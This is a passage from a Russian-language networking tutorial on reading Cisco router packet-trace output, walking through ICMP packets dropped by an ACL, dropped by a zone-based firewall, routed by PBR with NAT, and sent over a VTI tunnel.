Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e94 - IPV4_INPUT_IPOPTIONS_PROCESS
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x8113ac44 - IPV4_INPUT_GOTO_OUTPUT_FEATURE
Lapsed time : 2880 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e98 - IPV4_OUTPUT_VFR
Lapsed time : 1600 ns
Feature: ZBFW
Action : Fwd
Zone-pair name : in-out1
Class-map name : CM-FW_in-out
Input interface : GigabitEthernet0/0/0
Egress interface: GigabitEthernet0/0/1.5
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d70b28 - IPV4_OUTPUT_INSPECT
Lapsed time : 989760 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d77188 - MC_OUTPUT_GEN_RECYCLE
Lapsed time : 2720 ns
Feature: NAT
Direction : IN to OUT
Action : Translate Source
Old Address : 192.168.20.8 00001
New Address : 87.87.87.87 00036
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d7c390 - IPV4_NAT_OUTPUT_FIA
Lapsed time : 36800 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d85d30 - IPV4_OUTPUT_THREAT_DEFENSE
Lapsed time : 3200 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e9c - IPV4_VFR_REFRAG
Lapsed time : 1120 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Output
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 7
cft_bucket_number : 1591662
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 87.87.87.87
tuple.dst_ip : 8.8.8.8
tuple.src_port : 443
tuple.dst_port : 57521
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 7
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d8359c - IPV4_OUTPUT_STILE_CLR_TXT
Lapsed time : 141920 ns
Feature: IPSec
Result : IPSEC_RESULT_DENY
Action : SEND_CLEAR
SA Handle : 0
Peer Addr : 8.8.8.8
Local Addr: 87.87.87.87
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d761ac - IPV4_OUTPUT_IPSEC_CLASSIFY
Lapsed time : 46080 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e70 - IPV4_OUTPUT_SRC_LOOKUP_ISSUE
Lapsed time : 2560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81128eb8 - OUTPUT_DROP_EXT <=================
Lapsed time : 3360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d4a144 - IPV4_OUTPUT_ACL <=================
Lapsed time : 121760 ns
```
В трейсах в самом конце мы обнаружим информацию о судьбе пакета: OUTPUT\_DROP\_EXT и IPV4\_OUTPUT\_ACL. Пакет практически вырвался из лап маршрутизатора, о чём свидетельствует прохождение большинства стадий обработки.
**Ситуация №3. Пакет отброшен межсетевым экраном**
```
cbs-4000#show platform packet-trace summary
Pkt Input Output State Reason
0 Gi0/0/0 Gi0/0/1.5 DROP 184 (FirewallPolicy)
```
Пакет отброшен (DROP). Причина – политики межсетевого экрана (FirewallPolicy).
**Трассировка обработки пакета**
```
cbs-4000#show platform packet-trace packet 0
Packet: 0 CBUG ID: 36
Summary
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
State : DROP 184 (FirewallPolicy)
Timestamp
Start : 6516783739710881 ns (02/18/2017 17:59:16.560339 UTC)
Stop : 6516783739809427 ns (02/18/2017 17:59:16.560438 UTC)
Path Trace
Feature: IPV4
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Source : 192.168.20.8
Destination : 8.8.8.8
Protocol : 1 (ICMP)
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x8112bfbc - DEBUG_COND_INPUT_PKT
Lapsed time : 8800 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e84 - IPV4_INPUT_SRC_LOOKUP_ISSUE
Lapsed time : 5440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e64 - IPV4_INPUT_DST_LOOKUP_CONSUME
Lapsed time : 1600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4a140 - IPV4_INPUT_ACL
Lapsed time : 47360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e88 - IPV4_INPUT_SRC_LOOKUP_CONSUME
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e68 - IPV4_INPUT_FOR_US_MARTIAN
Lapsed time : 1440 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 135
cft_bucket_number : 875224
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 56789
tuple.dst_port : 514
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 135
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d83558 - IPV4_INPUT_STILE_LEGACY
Lapsed time : 202560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7b508 - IPV4_INGRESS_MMA_LOOKUP
Lapsed time : 63360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d59618 - IPV4_INPUT_FME_PROCESS
Lapsed time : 4640 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000084
input vrf_idx : 0
calling feature : FNF
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 135
cft_bucket_number : 875224
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 56789
tuple.dst_port : 514
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 135
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6dc84 - IPV4_INPUT_FNF_AOR_FIRST
Lapsed time : 20640 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6d9d4 - IPV4_INPUT_FNF_FIRST
Lapsed time : 127360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e8c - IPV4_INPUT_VFR
Lapsed time : 1440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b660 - IPV4_INPUT_CENT_SMP_PROCESS
Lapsed time : 2720 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000080
input vrf_idx : 0
calling feature : CENT
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 135
cft_bucket_number : 875224
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 56789
tuple.dst_port : 514
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 135
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b62c - IPV4_INPUT_CENT_RC_PROCESS
Lapsed time : 43840 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7ff70 - IPV4_INPUT_PBR
Lapsed time : 37120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d858d0 - IPV4_INPUT_TCP_ADJUST_MSS
Lapsed time : 1280 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS
Lapsed time : 4800 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6dc88 - IPV4_INPUT_FNF_AOR_FINAL
Lapsed time : 1760 ns
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6d974 - IPV4_INPUT_FNF_FINAL
Lapsed time : 255680 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6dc8c - IPV4_INPUT_FNF_AOR_RELEASE
Lapsed time : 2240 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e94 - IPV4_INPUT_IPOPTIONS_PROCESS
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x8113ac44 - IPV4_INPUT_GOTO_OUTPUT_FEATURE
Lapsed time : 4160 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e98 - IPV4_OUTPUT_VFR
Lapsed time : 1760 ns
Feature: ZBFW <=================
Action : Drop <=================
Reason : ICMP policy drop:classify result <=================
Zone-pair name : in-out1 <=================
Class-map name : class-default <=================
Input interface : GigabitEthernet0/0/0 <=================
Egress interface: GigabitEthernet0/0/1.5 <=================
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81128eb8 - OUTPUT_DROP_EXT <=================
Lapsed time : 640 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d70b28 - IPV4_OUTPUT_INSPECT <=================
Lapsed time : 639200 ns
```
Наличие сообщений OUTPUT\_DROP\_EXT и IPV4\_OUTPUT\_INSPECT показывает, что пакет отброшен политиками инспектирования, которое выполняется как раз МСЭ. Детали находим в информации по ZFW:
```
Feature: ZBFW
Action : Drop
Reason : ICMP policy drop:classify result
Zone-pair name : in-out1
Class-map name : class-default
Input interface : GigabitEthernet0/0/0
Egress interface: GigabitEthernet0/0/1.5
```
Reason сообщает о том, что пакет был классифицирован, как ICMP. Класс, в который попал пакет и где он был отброшен, — class-default.
**Ситуация №4. Пакет маршрутизируется правилами PBR**
```
cbs-4000#show platform packet-trace summary
Pkt Input Output State Reason
0 Gi0/0/0 Gi0/0/1.6 FWD
```
Пакет передан (FWD). Теперь исходящий интерфейс Gi0/0/1.6.
**Трассировка обработки пакета**
```
cbs-4000#show platform packet-trace packet 0
Packet: 0 CBUG ID: 36
Summary
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
State : FWD
Timestamp
Start : 6517659109765260 ns (02/18/2017 18:13:51.930393 UTC)
Stop : 6517659109927732 ns (02/18/2017 18:13:51.930556 UTC)
Path Trace
Feature: IPV4
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Source : 192.168.20.8
Destination : 8.8.8.8
Protocol : 1 (ICMP)
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x8112bfbc - DEBUG_COND_INPUT_PKT
Lapsed time : 10400 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e84 - IPV4_INPUT_SRC_LOOKUP_ISSUE
Lapsed time : 5440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e64 - IPV4_INPUT_DST_LOOKUP_CONSUME
Lapsed time : 1600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4a140 - IPV4_INPUT_ACL
Lapsed time : 265600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e88 - IPV4_INPUT_SRC_LOOKUP_CONSUME
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e68 - IPV4_INPUT_FOR_US_MARTIAN
Lapsed time : 3680 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 69
cft_bucket_number : 2000178
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 57521
tuple.dst_port : 443
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 69
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d83558 - IPV4_INPUT_STILE_LEGACY
Lapsed time : 223360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7b508 - IPV4_INGRESS_MMA_LOOKUP
Lapsed time : 85440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d59618 - IPV4_INPUT_FME_PROCESS
Lapsed time : 3040 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000084
input vrf_idx : 0
calling feature : FNF
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 69
cft_bucket_number : 2000178
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 57521
tuple.dst_port : 443
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 69
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6dc84 - IPV4_INPUT_FNF_AOR_FIRST
Lapsed time : 19680 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6d9d4 - IPV4_INPUT_FNF_FIRST
Lapsed time : 153600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e8c - IPV4_INPUT_VFR
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b660 - IPV4_INPUT_CENT_SMP_PROCESS
Lapsed time : 2560 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000080
input vrf_idx : 0
calling feature : CENT
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 69
cft_bucket_number : 2000178
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 57521
tuple.dst_port : 443
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 69
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b62c - IPV4_INPUT_CENT_RC_PROCESS
Lapsed time : 49600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7ff70 - IPV4_INPUT_PBR <=================
Lapsed time : 69760 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d858d0 - IPV4_INPUT_TCP_ADJUST_MSS
Lapsed time : 1440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0 <=================
Output : GigabitEthernet0/0/1.6 <=================
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS
Lapsed time : 7840 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d6dc88 - IPV4_INPUT_FNF_AOR_FINAL
Lapsed time : 1600 ns
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d6d974 - IPV4_INPUT_FNF_FINAL
Lapsed time : 280480 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d6dc8c - IPV4_INPUT_FNF_AOR_RELEASE
Lapsed time : 3840 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x81131e94 - IPV4_INPUT_IPOPTIONS_PROCESS
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x8113ac44 - IPV4_INPUT_GOTO_OUTPUT_FEATURE
Lapsed time : 3840 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x81131e98 - IPV4_OUTPUT_VFR
Lapsed time : 5440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d858a0 - IPV4_OUTPUT_TCP_ADJUST_MSS
Lapsed time : 1280 ns
Feature: ZBFW
Action : Fwd
Zone-pair name : in-out2
Class-map name : CM-FW_in-out
Input interface : GigabitEthernet0/0/0
Egress interface: GigabitEthernet0/0/1.6
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d70b28 - IPV4_OUTPUT_INSPECT
Lapsed time : 789120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d77188 - MC_OUTPUT_GEN_RECYCLE
Lapsed time : 11200 ns
Feature: NAT
Direction : IN to OUT
Action : Translate Source
Old Address : 192.168.20.8
New Address : 62.62.62.62
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d7c390 - IPV4_NAT_OUTPUT_FIA
Lapsed time : 38400 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d85d30 - IPV4_OUTPUT_THREAT_DEFENSE
Lapsed time : 4000 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x81131e9c - IPV4_VFR_REFRAG
Lapsed time : 800 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Output
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 71
cft_bucket_number : 2000178
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 62.62.62.62
tuple.dst_ip : 8.8.8.8
tuple.src_port : 57521
tuple.dst_port : 443
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 71
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d8359c - IPV4_OUTPUT_STILE_CLR_TXT
Lapsed time : 140160 ns
Feature: IPSec
Result : IPSEC_RESULT_DENY
Action : SEND_CLEAR
SA Handle : 0
Peer Addr : 8.8.8.8
Local Addr: 62.62.62.62
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d761ac - IPV4_OUTPUT_IPSEC_CLASSIFY
Lapsed time : 66400 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x81131e70 - IPV4_OUTPUT_SRC_LOOKUP_ISSUE
Lapsed time : 3840 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x81128eb0 - IPV4_OUTPUT_L2_REWRITE
Lapsed time : 13440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x81131e74 - IPV4_OUTPUT_SRC_LOOKUP_CONSUME
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x81131ec4 - IPV4_OUTPUT_FRAG
Lapsed time : 2240 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x81133e50 - IPV4_OUTPUT_DROP_POLICY
Lapsed time : 18720 ns
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x80d6d914 - IPV4_OUTPUT_FNF_FINAL
Lapsed time : 113440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.6
Entry : 0x8113bb40 - MARMOT_SPA_D_TRANSMIT_PKT
Lapsed time : 43680 ns
```
Если мы сравним трассировку пакета при маршрутизации стандартными правилами (статическая маршрутизация) и при маршрутизации правилами PBR, мы не увидим разницы. Изменятся только исходящий интерфейс, и адрес, подставляемый в NAT’е.
**Ситуация №5. Пакет передаётся через VTI интерфейс**
В этом примере пингуем адрес 172.28.0.1.
```
cbs-4000#show platform packet-trace summary
Pkt Input Output State Reason
0 Gi0/0/0 Gi0/0/1.5 FWD
```
Пакет передан (FWD). Исходящий интерфейс Gi0/0/1.5.
**Трассировка обработки пакета**
```
cbs-4000#show platform packet-trace packet 0
Packet: 0 CBUG ID: 50
Summary
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
State : FWD
Timestamp
Start : 6665377802839987 ns (02/20/2017 11:15:48.257340 UTC)
Stop : 6665377803172303 ns (02/20/2017 11:15:48.257673 UTC)
Path Trace
Feature: IPV4
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Source : 192.168.20.8
Destination : 172.28.0.1
Protocol : 1 (ICMP)
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x8112bfbc - DEBUG_COND_INPUT_PKT
Lapsed time : 5600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e84 - IPV4_INPUT_SRC_LOOKUP_ISSUE
Lapsed time : 4160 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e64 - IPV4_INPUT_DST_LOOKUP_CONSUME
Lapsed time : 3040 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4a140 - IPV4_INPUT_ACL
Lapsed time : 19840 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e88 - IPV4_INPUT_SRC_LOOKUP_CONSUME
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e68 - IPV4_INPUT_FOR_US_MARTIAN
Lapsed time : 1280 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 186
cft_bucket_number : 407373
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 172.28.0.1
tuple.src_port : 6603
tuple.dst_port : 443
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 186
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d83558 - IPV4_INPUT_STILE_LEGACY
Lapsed time : 296480 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7b508 - IPV4_INGRESS_MMA_LOOKUP
Lapsed time : 43040 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d59618 - IPV4_INPUT_FME_PROCESS
Lapsed time : 2560 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000084
input vrf_idx : 0
calling feature : FNF
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 186
cft_bucket_number : 407373
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 172.28.0.1
tuple.src_port : 6603
tuple.dst_port : 443
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 186
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6dc84 - IPV4_INPUT_FNF_AOR_FIRST
Lapsed time : 20160 ns
Feature: FIA_TRACE
